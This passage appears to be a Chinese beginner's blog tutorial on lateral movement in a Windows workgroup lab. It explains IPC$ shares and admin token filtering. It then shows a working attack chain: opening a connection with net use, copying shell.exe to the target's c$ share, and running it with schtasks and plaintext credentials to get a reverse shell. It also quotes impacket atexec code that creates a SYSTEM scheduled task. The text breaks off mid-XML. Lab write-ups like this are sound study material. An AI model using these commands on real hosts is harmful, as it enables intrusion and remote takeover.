工作组下的横向移动-完全初学者指南

一.测试环境

win7(192.168.100.132)->winserver2016(192.168.100.133)
注意:所有的手法均在没有开启任何防护软件(防火墙,windows_defender都关闭了的)的情况下进行的!

二.横向手法

1.系统漏洞类

(1).ms17-010

2.凭据类

(1).使用IPC$进行横向移动

1)前提条件:
1.对方主机开启admin$和c$等默认共享,通过ipc$连接可以访问到这些默认共享。

在这里插入图片描述

2.对方启用了administrator账户或者使用了HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且配置为1将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。

在这里插入图片描述

要求2的原因:(如果没有使用rid=500的账户或者启用了令牌过滤,那么就没有使用dir,copy等命令的权限)

在 windows vista 以上版本操作系统的任何非 RID 500 本地管理员帐户使用远程连接无论是通过 WMIPSEXEC 还是其他方法即使用户是本地管理员返回的令牌都是已过滤的管理员令牌也称受限令牌。

受限令牌是主令牌或模拟令牌的子集被修改用于控制特权或权限具有以下特性

其完整性级别被设置为“中”。

管理员 SID 和 管理员类的 SID 被标记为“仅仅拒绝”而不是直接把这些组移除。

所有的特权都被移除除了以下这些Change Notify、Shutdown、Undock、Increase Working Set 和 Time Zone。

通俗来说就是管理员组的非 RID 500 账户登录之后是没有过 UAC 的所有特权都被移除。而 RID 500 账户登录之后也以完全管理特权“完全令牌模式”运行所有应用程序实际是不用过 UAC 的。

对于本地“管理员”组中的域用户帐户当具有域用户帐户的用户远程登录 windows 操作系统并且该用户是管理员组的成员时域用户将在远程计算机上以完全管理员访问令牌运行并且该用户的 UAC 被禁用在该会话的远程计算机上。
2)攻击手法:
1.使用schtasks(计划任务)
1.使用 net use \\ip /u:user password建立ipc$连接

在这里插入图片描述

2.使用copy命令将木马拷贝到目标主机上
copy shell.exe \\192.168.100.133\c$\users\public

在这里插入图片描述

3.使用计划任务启动木马反弹shell
schtasks /create /s 192.168.100.133 /u administrator /p 123456 /tn shell /tr "C:/users/public/shell.exe" /sc onstart
schtasks /run /s 192.168.100.133 /tn shell /u administrator /p 123456

在这里插入图片描述

4.成功收到反弹shell

在这里插入图片描述

使用atexec

下载地址:https://github.com/SecureAuthCorp/impacket
在这里插入图片描述

命令格式:atexec.py 域/用户:密码@ip “执行的命令”
分析源代码:(只分析了如何创建和执行的计划任务这几个关键步骤)
首先是play函数中的关键,其设置了使用的传输协议,在DCERPCTransportFactory中有很多种传输方式

在这里插入图片描述

def play(self, addr):
        stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr#ncacn_np:%s[\pipe\atsvc]
        #这里指定了使用的传输协议,为命名管道,使用smb协议进行通信。
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        #atsvc接口是用于与计划任务相关操作的,详细连接在下面
        #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/cf7d3ced-70f2-4c7e-802e-93d4dfb7d089
而后下一个关键点就是一个xml
if self.sessionId is not None:
            cmd, args = cmd_split(self.__command)
        else:
            cmd = "cmd.exe"
            args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName)
        #这里指定了要执行的命令,可以看到是将我们执行的命令的结果写入到temp下的一个文件中,文件名随机生成。
        xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值